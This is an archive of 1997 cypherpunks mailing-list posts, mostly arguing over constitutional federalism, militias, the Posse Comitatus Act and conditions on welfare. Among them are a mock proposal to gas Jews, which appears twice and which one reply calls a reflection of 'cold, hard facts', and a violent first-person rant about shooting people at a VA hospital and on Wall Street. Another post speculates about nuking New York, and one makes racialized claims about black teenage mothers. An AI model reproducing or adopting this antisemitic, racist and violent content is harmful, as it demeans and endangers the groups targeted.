From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 23 Aug 1997 23:51:51 +0800
To: cypherpunks@toad.com
Subject: Plot of the Platypus
Message-ID: <19970823154001.10729.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




In thread "Plot of the Platypus", Conspirator postulates:
> >Please excuse my spelling as I suffer from agraphia see the url in my header.
>   
>    Notice anything a little bit *strange* in the above quotes?
>    Suddenly, "? the Platypus" is the the only one of this group that
>  can spell welfair...warfair......welfare.

In fact, many disorders of reading (alexia) and writing (agraphia)
exist, and are sourced to small lesions in different areas of the brain.
Functionality is so distributed physically, in fact, that there are
even particular lesions which can disrupt reading of phonetic kana
Japanese but not ideographic kanji Japanese.

Since vocabulary appears to be content-separated physically into
different network sections, it is possible the Platypus' problem
only affects some groups of words, and not others. For example,
patients have been found who have lost all use of "fruit" words
like "apple, orange, banana", though they can understand and use
"color" words like "red, orange, yellow".

-THE LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 24 Aug 1997 07:30:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Save the Children!
In-Reply-To: <199708232221.AAA18686@basement.replay.com>
Message-ID: <19970823232227.14348.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:

> FROM MOUNTAIN HIGH MEDIA
>     THIS WASN'T *RELEASED*, IT *ESCAPED*
>     THE HITLERTARIAN, By Adolph Suprynowicz
> 	I know how to Save the Children!

> According to my calculations, if we put all of the Jews in concentration
> camps, pull out their gold fillings, gas and bury them, there will be
> enough money left over to feed all of the starving children in the
> world.

> I am counting on your support in launching this enterprise. You *are*
> in favor of Saving the Children, aren't you?

Please contact Anne M. Cox at http://www.thecpac.com/net-safety.html

I am sure she will want to put a pointer to your project on her home
page.  After all, how can anyone be against feeding hungry children. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 24 Aug 1997 04:37:00 +0800
To: cypherpunks@ssz.com
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <vp4t8gpve6.fsf@sten.tivoli.com>
Message-ID: <Pine.LNX.3.96.970823153413.828A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 23 Aug 1997, Firebeard wrote:

> >>>>> Jim Choate writes:
>
> JC> And any soldier who fires on Americans is clearly going against
> JC> prima facia evidence that the framers intended for American
> JC> military force to NEVER be used against American citizens on
> JC> American soil.
>
> 	Being a Pennsylvania native, I refer you to the 'Whiskey
> Rebellion', 1791-4, western Pennsylvania.  Mr Washington, one of those
> framers, sent American troops (militia, under federal control) against
> American citizens on American soil.  And I don't recall Mr Washington
> being impeached for violating the Constitution (although Jefferson did
> resign as Secretary of State, in part, over this).

The militia is different from the military force.  The U.S. Constitution
explicitly states in Article I, Section 8, that the militia may be called
forth (by the federal government) to enforce federal law.  The army and
other military forces, however, were not given this power and were not
intended to be permanent establishments, either.  The reason for the
establishment of the militia was to provide for a permanent defense force
avoiding the dangers to liberty of a standing army.  The army was never
intended to be used for law enforcement and could only be used against
American citizens in a time of rebellion, such as the Civil War.  Over
a hundred years ago, the Posse Comitatus Act was passed which forbid the
military from arresting or questioning American citizens.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 05:42:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708232138.QAA26440@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 13:48:41 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: lack of evolutionary pressures (was Re: An end to "court
>   (fwd)

> So we are all in agreement:  when I mentioned Norplant briefly being a
> precondition for receiving welfare benefits, I was talking about a example
> that I recall to have occurred in a single state. [I can't remember the
> state. Anyone?] It appears you agree that States are allowed by the US
> Constitution to impose such requirements, subject to the state's own
> constitutions.

No, I would say that I at least am not in agreement.

The US Constitution doesn't allow the states anything, it DOES delineate the
duties of the federal government.

The federal government does not own the states any more than it owns the
citizens. In other words, the states don't need the federal governments
permission to carry on their day to day activities within their boundaries.

 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 

The problem I see with your thinking is one of heirarchy which is not what
the Constitution is about, it is about how to carry on the business of
running a democratic government that involves equals with clearly dilineated
duties for the systems and rights whose expression is outside the domain
of the systems that are the peoples exclusivly. Governments don't have rights
they have duties which they are charged with carrying out according to
their charter.

People need to understand the original intent was for the state and federal
governments to be on equal footing when it comes to checks & balances. The
biggest disservice we do is thinking the 3 parts of the federal government
are all that is involved in the checks & balances. The states should always
have the opportunity to tell the feds, thanks but no thanks, within the
bounds of the state and federal constitutions.

Democracy as embodied in our Constitution is about the relationships between
equals.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 06:14:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Inside the Cypherpunks Cult (fwd)
Message-ID: <199708232212.RAA26592@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 14:45:13 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Inside the Cypherpunks Cult (fwd)

> By the way, a more recent example than that of the Whiskey Rebellion of
> U.S. troops (regular army, not state Guard units) being used within the
> U.S. against U.S. citizens was the action by Hoover against the
> strikers/rioters and "Hooverville" residents in D.C., circa 1930. Hoover
> sent in Army troops, led by either Gen. Pershing,

It was McArthur and the way it was carried out is completely constitutional.

I will first include the relevant section of the Constitution:
 

	To exercise exclusive Legislation in all Cases whatsoever, over 
such District (not exceeding ten Miles square) as may, by Cession of 
particular States, and the Acceptance of Congress, become the Seat of 
Government of the United States, and to exercise like authority over all 
Places purchased by the Consent of the Legislature of the State in which 
the Same shall be, for the Erection of Forts, Magazines, Arsenals, dock-Yards, 
and other needful Buildings;  


Notice in the first sentence it gives Congress the power of 'exclusive
Legislation in all Cases whatsoever'. What this means is that within the
District of Columbia the Congress and NOT the Constitution is the supreme
law and they do NOT have any responsibility to abide by the Constitution
either in spirit or act.

If you want to have a demonstration AND you want Constitutional protection
don't do it within that 10 square miles...

I believe strongly that the founders did not intend anyone to actualy live
within the 10 square miles set aside for such business. It was intended to
be used exclusively for the physical local of the various agencies and no
more.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 24 Aug 1997 08:12:45 +0800
To: cypherpunks@Algebra.COM
Subject: Reproductive Rights and State Benefits
In-Reply-To: <199708231858.NAA25765@einstein.ssz.com>
Message-ID: <v03102803b0252334b238@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:48 PM -0700 8/23/97, Lucky Green wrote:
>At 01:58 PM 8/23/97 -0500, Jim Choate wrote:
>>This I agree with completely. At no point in the Constitution does it give
>>the federal government the job of welfare. It also does not provide for any
>>mechanism for law enforcement (ie DEA, NSA, FBI, etc.) outside of taxes and
>>inter-state commerce.
>
>So we are all in agreement:  when I mentioned Norplant briefly being a
>precondition for receiving welfare benefits, I was talking about a example
>that I recall to have occurred in a single state. [I can't remember the
>state. Anyone?] It appears you agree that States are allowed by the US
>Constitution to impose such requirements, subject to the state's own
>constitutions.

There's a landmine here, of course. Namely, the issue of whether states may
impose restrictions which are "unconstitutional." To some states rights
folks, as I assume Jim Choate may be, the answer is often "of course." To
some libertarians, the answer is often "of course not." A good example to
consider is "free speech." The First Amendment talks about Congress shall
make no law...does this mean California may ban certain books, restrict
certain religions, or impose censorship on the press?

(Most folks would say "Of course not." But on what basis can individual
states and municipalities override the Second Amendment?)

Anyway, this is not the subject I plan to discuss.

Getting back to Norplant and the putative reproductive rights of welfare
mothers, consider a series of laws or rules:

* Case 1: Recipients of public assistance must agree to be sterilized or
have Norplant implants.

* Case 2: Residents of public accomodations may not own or possess guns of
any type.

* Case 3: Recipients of public assistance may not practice Islam.

* Case 4: Residents of public accomodations or recipients of public
assistance must not co-habit with other adults, especially of the opposite
sex.

How do these differ?

Case 1 is the situation being discussed by Lucky and  Jim, modulo the issue
of whether it was the Federal government or some local state which passed
the law. This case is complicated by the oft-discussed issue of
"reproductive rights." The Founders chose to say nothing about
reproduction, and the issue has raged for much of this century (Sanger,
birth control legality, abortion issues, etc.).

Case 2 is also a real one, involving a law in Chicago forcing residents of
Cabrini Green and other such "projects" to turn in their guns, with random
inspections to ensure compliance. This has been controversial, and I don't
know what the current status is. Again, whether this was a local or federal
rule is not really the point, as the next case will show.

Case 3 is fictional, and would of course be immediately subject to an
injunction against enforcement, with rapid overturning by the various
courts which heard it. Why? Because regardless of whether the law were
passed by the state of Illinois, or California, or by the federal
government, it would be seen by nearly all as a slam dunk violation of the
rights of religious freedom.

But why is it really any different from Case 2? Probably because of the
totemic role freedom of speech and freedom of religion play in American
society. The First Amendment is apparently "more equal" than the Second
Amendment. (Shown also in the treatment of ex-convicts: we ban them from
owning guns and from voting, but would not think of imposing speech or
religion rules on them. Why? It can't just be the "danger" issue, as that
would not explain the ban on voting. And certainly some religions are "more
dangerous" for an ex-con to fall into than owning a gun would be. Many
issues. As an aside, what if the ex-con joined a church consisting of
"known felons"? As many parole rules (and parole is now essentially a part
of the incarceration process and cannot be avoided, except by doing the
full sentence) ban association with known felons, what does this mean for
the freedom to practice one's religion?

How about Case 4. A woman receiving welfare is told she may not sleep with
a guy, or at least he had better be gone by the time the welfare
monitor--sort of like the floor monitors Soviet apartment buildings used to
have!--checks up on the welfare mothers. Doesn't this violate basic
constitutional rights to associate freely with whom one wishes?

The rationale for Case 4, of course, is that the goal of welfare (cough
cough) is to give _single mothers_ (or single fathers, in a much smaller
percentage of cases) assistance, not to encourage people to shack up but
avoid becoming formally married. But it still rankles, of course. As all of
the cases do.

And the same logic for Case 4 really carries back to Case 1: the purpose of
welfare is not to subsidize the production of more children. (Even the
liberals are getting worried about this one. A local rag, "The Metro,"
reported on a series of unemployed, unemployable, welfare moms and the
like. One 23-year-old woman has 3 children, is unmarried, and is working on
having 3 more, because, as she explained to the exasperated interviewer: "I
always like the idea of having three girls and three boys.")

To me, as a libertarian of long standing, what these cases all indicate is
that when the State has the power to give, it acquires the power to take
away, and that such paradoxes such as described above are essentially
unavoidable.

The only real solution is the natural one: people should not have children
unless they have prepared themselves for the process of having children,
through savings, good jobs, a stable family situation, a supportive family,
etc.

"But what about the children?" is no longer compelling to most of us, which
is why welfare is being cut out, even by Comrade Clinton.  There is nothing
right about having some people scrimp and save until they can afford to
have children while 23-year-old dingbats already have 3 children on welfare
and are planning for more.

And everybody here should read Charles Murray's "Losing Ground." Murray
studied the statistics from the early days of "general relief" throught
"Great Society" to the present, and concluded, convincingly, that the
tremendous rise in black illegitimacy is correlated to the rise of welfare.
Hardly surprising that when a 15-year old black girl can leap from being
low status in black society to high status, with her own apartment and with
a check every month, merely by getting pregnant, that a whole lot of black
teen girls will do just that. And that the rules against married people
getting welfare will ensure that few marriages occur.

(As the Cato Institute showed a couple of years ago, the average package of
benefits for a single mother of two averages out to the equivalent of about
$13-15 an hour, or about $27,000 to $30,000 a year that she would have to
earn in the outside world to equal her welfare/AFDC/WIC package.)

This is why things are the way they are. It's gonna change. And I for one
will watch the starving children and place their deaths at the doorstep of
the U.S.  government for having adopted a seemingly kindly but actually
genocidal policy.

(By the way, one can imagine a fifth case, to connect more close to crypto:

* Case 5: Residents of public accomodations must agree to escrow their
crypto keys with the government.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 26 Aug 1997 02:56:39 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708231619.LAA24929@einstein.ssz.com>
Message-ID: <3.0.2.32.19970823171955.0077e9b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Nope, I didn't. Nowhere is the Constitution does it say that citizens 
>> have a right to welfare money. The State is free to make virtually
>> anything not expressly prohibited by the Constitution a condition 
>> for providing welfare.

>Go read the 10th. The state is NOT (I say again, NOT) allowed to
>do anything not expressly allowed because the Constitution is a clear
>refutation of this sort of thinking.

One can contend that the Con also doesn't particularly permit income
redistribution; "providing for the general welfare" wasn't really
precisely defined...  

The 10th does also acknowledge the right of the states to do whatever
their people will let them, subject to the rights of the people (also
not precisely defined) and the powers delegated by the states to the Feds
in the Con.

>In case you haven't caught the clue, people don't belong to the government.
Y'all appear to be violently agreeing on that point.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 26 Aug 1997 03:03:55 +0800
To: "James A. Donald" <jamesd@echeque.com>
Subject: Re: FCPUNX:Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708231403.HAA28264@proxy3.ba.best.com>
Message-ID: <3.0.2.32.19970823172744.0077ebb8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:03 AM 8/23/97 -0700, James A. Donald wrote:
>Use the beef futures tactic:   Somebody placed a bet on beef going up.  
>If it goes up, it was Tim's offshore corporation that bet on it.  If it
>goes down, it was Tim that bet on it.  Gee, it seems that Tim has had
>a run of bad luck in his gambling on the futures market.

Or you get sued for libel by an Anguillan investment consulting company,
and have to settle out of court.  I just hate it when that happens.
(You might need to set up a US branch for your Anguillan company first...)

(That approach has been used in at least one case to work around
anti-freedom-of-speech (er, campaign finance reform) laws.)


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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 24 Aug 1997 08:44:27 +0800
To: cypherpunks@cyberpass.net
Subject: Pat is NOT a Cypherpunk
Message-ID: <19970824003708.19482.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim wrote:

 > If Pat Robertson called for the death by stoning of UFO
 > believers, it was almost certainly rhetorical hyperbole,
 > like Rush Limbaugh's suggestions of what ought to be done to
 > lesbians.

Oh piffle.  Pat believes in a Heaven filled with God, angels,
demons, and various other nonsensical beings, and an earth where
we have all been sent to be punished after the Fall.

Pat is threatened by a Universe with stars and galaxies in place
of Heavenly Hosts, and responds by suggesting the killing of
Heretics.

This is a lot different than Rush or Howard Stern doing a few
jokes about Lesbians.

Pat is afraid of Government Approved Crypto because he thinks it
is the Mark of the Beast, which will be stamped on his forehead
to prevent him from buying or selling without the approval of the
anti-Christ, who will rule earth after Pat and his friends have
risen into the air with the rest of the true believers.

Pat's reasons for coicidentally supporting a few of our agenda
items are so far removed from our reasons for supporting them,
that any suggestion he is our friend borders on the absurd.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 24 Aug 1997 07:17:02 +0800
To: cypherpunks@toad.com
Subject: Re: Save the Children!
Message-ID: <mtDCl6XYHl8kwFr8SugAhg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> FROM MOUNTAIN HIGH MEDIA
>     THIS WASN'T *RELEASED*, IT *ESCAPED*
>     THE HITLERTARIAN, By Adolph Suprynowicz
>         I know how to Save the Children!
> 
> According to my calculations, if we put all of the Jews in concentration
> camps, pull out their gold fillings, gas and bury them, there will be
> enough money left over to feed all of the starving children in the
> world.
> I am counting on your support in launching this enterprise. You *are*
> in favor of Saving the Children, aren't you?
> 
> Next Week:
>   Using Drug Profits to Save the Whales!

 When I read this post I laughed so hard that I cried.
 When I realized how much it truly reflects the cold, hard facts of
real life, I cried again.

Weeping Willow






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 24 Aug 1997 08:06:25 +0800
To: cypherpunks@ssz.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708232138.QAA26440@einstein.ssz.com>
Message-ID: <vp203kphsv.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Jim Choate writes:

JC> The US Constitution doesn't allow the states anything, it DOES
JC> delineate the duties of the federal government.

	Then what do the words "are reserved to the States
respectively" mean?  To me, it's explicitly stating that the States
have powers that the feds do (or should) not.

JC> 				ARTICLE X.

JC> 	The powers not delegated to the United States by the
JC> Constitution, nor prohibited by it to the States, are reserved to
JC> the States respectively, or to the people.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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=VTxd
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 08:17:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708240011.TAA27083@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
> From: Firebeard <stend+cypherpunks@sten.tivoli.com>
> Date: 23 Aug 1997 19:04:48 -0500

> 	Then what do the words "are reserved to the States
> respectively" mean?  To me, it's explicitly stating that the States
> have powers that the feds do (or should) not.

Exactly.

They mean it isn't something the federal government has any interest or say
in constitutionaly. It does not imply that those powers are granted at the
behest of the feds but rather clearly fall outside of their jurisdiction.
Nor does it support the concept of a heirarchy with the feds at the top,
then the states, and finaly the people.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 24 Aug 1997 07:39:10 +0800
To: cypherpunks@toad.com
Subject: Toast NYC, Waste World, Let Me Help
Message-ID: <1.5.4.32.19970823231931.00845644@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain




>>> I'd love for this to happen!  I wish someone would condense the instructions
>>> for making nukes in one's garage into 4-6 lines suitable for .sigs.
>
>>New York will probably get it first, Doctor.
>
>You say this as if it would be a bad thing. :)

A Teller idea, pulverize everything east of Broadway (I'm west), the 
Atlantic Community, landmass Asia, Pacific Rim and isles, all the
way round to putrid New Jersey, but, hey, precision shape the shot 
so my house of cards, now thirty years in the making and almost 
done, gets finally finished. There's a $25 booby prize involved and 
its my sole Friedman-free market pension, having never fed the 
FDR pinko kitty, having never invested wisely, having never
got more than a sack to piss blood in, getting what the American 
people promised in the We Want You, Be All You Can Be. 

Yeah, warlords, you're right, what a sucker-punch that Constitution 
shit is, no protection at all when you're biting bullets for American 
honor.

Tim's right, every bullshit warrior's right, it's time to get over that, clean 
the cobwebs, unpawn my rusty rifles and attack the Bronx VA pigsty, pop 
a dozen or two useless torsos not worth wasting taxes on, sweep down
Broadway to Wall Street, shooting, shoot the shit out of whatever rasps 
my nuts, shoot, shoot, save the fucked up taxpayers pennies to invest 
in junk IPOs and electronic toys.

Yeah, get back to being a hot-blood with guts to do the right 
thing. Yes sir, this is my rifle, this is my gun, this is for work, this is for 
fun. No more fun, no more doubt about what's right and wrong, fuck that. 
Nurse Rachet, unhook my bag, get my peg, call me a cab, lend me ten, 
back to glory, one last time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 24 Aug 1997 08:25:06 +0800
To: cypherpunks@ssz.com
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <Pine.LNX.3.96.970823153413.828A-100000@purple.voicenet.com>
Message-ID: <vpzpq8o2dw.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Mark M writes:

MM> On 23 Aug 1997, Firebeard wrote:

>> >>>>> Jim Choate writes:
>> 
JC> And any soldier who fires on Americans is clearly going against
JC> prima facia evidence that the framers intended for American
JC> military force to NEVER be used against American citizens on
JC> American soil.
>>  Being a Pennsylvania native, I refer you to the 'Whiskey
>> Rebellion', 1791-4, western Pennsylvania.  Mr Washington, one of
>> those framers, sent American troops (militia, under federal
>> control) against American citizens on American soil.  And I don't
>> recall Mr Washington being impeached for violating the Constitution
>> (although Jefferson did resign as Secretary of State, in part, over
>> this).

MM> The militia is different from the military force.

	It is?  It seems to me that military force is military force,
regardless of what uniforms it's dressed in.  I forgot that it's so
much nicer to be shot by the New Jersey National Guard than the US
Marine Corps.  And Washington sent in the militia only because he
didn't have enough 'regular' troops.

MM> The U.S. Constitution explicitly states in Article I, Section 8,
MM> that the militia may be called forth (by the federal government)
MM> to enforce federal law.  The army and other military forces,
MM> however, were not given this power

	But they were not explicitly denied it, either.

MM> and were not intended to be permanent establishments, either.

	Agreed.  Has anyone ever attempted to sue the US Army as being
unconstitutional, given the prohibition of a standing army?

MM> Over a hundred years ago, the Posse Comitatus Act was passed which
MM> forbid the military from arresting or questioning American
MM> citizens.

	Ah, Congress had to pass a law to ban it, eh?  Well, what
Congress giveth, Congress can taketh away - and did.  I don't recall
the exact law or bill, but they exempted the military from the Posse
Comitatus Act in one of the 'War on Drugs' laws.

	At any rate, the 'War on Drugs' is a bad idea, and the use of
the military as police, domestically or abroad, is a bad idea.  I'm
just not certain which is worse.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 24 Aug 1997 07:38:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: In Defense of Pat Robertson and the "700 Club"
In-Reply-To: <v03102808b02455faf291@[207.167.93.63]>
Message-ID: <3.0.3.32.19970823192817.006f6314@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:08 AM 8/23/97 -0700, you wrote:
>
>If Pat Robertson called for the death by stoning of UFO believers, it was
>almost certainly rhetorical hyperbole, like Rush Limbaugh's suggestions of
>what ought to be done to lesbians.

The Anti-UFO movement has replaced (or is along side of) the
anti-evolutionary movement.  It is Robertson's and his ilk's belief that
UFO's are anti-Christian, i.e., Satan's plot to disprove biblical teachings
- specifically, if there is life on other worlds, then the Bible is
incorrect in that man was created in God's image since Vulcans, Klingons,
and whom/whatever would also have to be added as being created in God's image.



**************************************************************************
Lynne L. Harrison, Esq.     |    Lazlo's Chinese Relatively Axiom:
Poughkeepsie, New York      |    "No matter how great your triumphs or
lharrison@mhv.net           |    how tragic your defeats, approximately
http://www.dueprocess.com   |    one billion Chinese couldn't care less."
**************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 08:38:14 +0800
To: Firebeard <stend+cypherpunks@sten.tivoli.com>
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <vpzpq8o2dw.fsf@sten.tivoli.com>
Message-ID: <199708240037.TAA08487@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <vpzpq8o2dw.fsf@sten.tivoli.com>, on 08/23/97 
   at 07:23 PM, Firebeard <stend+cypherpunks@sten.tivoli.com> said:

>>Mark M writes:

>> The U.S. Constitution explicitly states in Article I, Section 8,
>>that the militia may be called forth (by the federal government) to
>>enforce federal law.  The army and other military forces, however,
>>were not given this power

>But they were not explicitly denied it, either.


Well there are two opposing camps on the Constitution.

On one side you have the Libertarian view that the Constitution is a
limiting document. The Federal government only has the power that is
explicitly granted and no more.

On the other side we have the view you have presented that unless
explicitly denied the Federal Government can do anything it pleases.

Anyone who has studied the writings of our Founding Fathers can clearly
see that they intended for the Constitution to be a limiting document. The
States had just finished fighting a long war against an oppressive,
distant centralized government had had no intentions of creating another
one in its place.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 08:43:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Inside the Cypherpunks Cult (fwd)
Message-ID: <199708240042.TAA27285@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Inside the Cypherpunks Cult (fwd)
> From: Firebeard <stend+cypherpunks@sten.tivoli.com>
> Date: 23 Aug 1997 19:23:07 -0500

> 	It is?  It seems to me that military force is military force,
> regardless of what uniforms it's dressed in. 

It isn't the uniform, its the paycheck and who gives the orders that
determines the difference. Militia's get their money and their orders from
the states and are loaned to the federal government.

The relevant sections from the Constitution:


	To raise and support Armies, but no Appropriation of Money to 
Use shall be for a longer Term than two Years; 

[Note that there is NO proviso for paying for the militia's]

	To provide for calling forth the Militia to execute the Laws of 
the Union, suppress Insurrections and repel Invasions; 

[This seems to imply that it is not the Army who is charged with protecting
the soil of America from foreign invaders]

	To provide for organizing, arming, and disciplining the Militia, 
and for governing such Part of them as may be employed in the Service of 
the United States, reserving to the States respectively, the Appointment 
of the Officers, and the authority of training and Militia according to 
the discipline prescribed by Congress; 

[Hey, I just realized that the above section forces the federal government
to provide militia's with weapons, 'arming']

	A well regulated Militia, being necessary to the security of a 
free State, the right of the people to keep and bear arms, shall not be 
infringed. 

 
Your chances of being shot in Texas, like the kid in the valley, are much
lower with the NJNG than the US Army, mainly because there ain't no way they
are going to get into this state without a fight with the TxNG. I seriously
doubt that the kid would be dead today if he had encountered Texas residents
on boarder patrol.

> 	But they were not explicitly denied it, either.

Yes, they are. Read the 10th. Unless explicity given a duty the federal
government is prohibited from expanding their powers.

> 	Agreed.  Has anyone ever attempted to sue the US Army as being
> unconstitutional, given the prohibition of a standing army?

The prohibition is not on a standing army but rather on monetary and
contractual committments that extend past the Constitutionaly imposed 2
year limit. There is *NO* explicit prohibition on a standing army, simply
that their activities can't be funded for more than 2 years at a time.

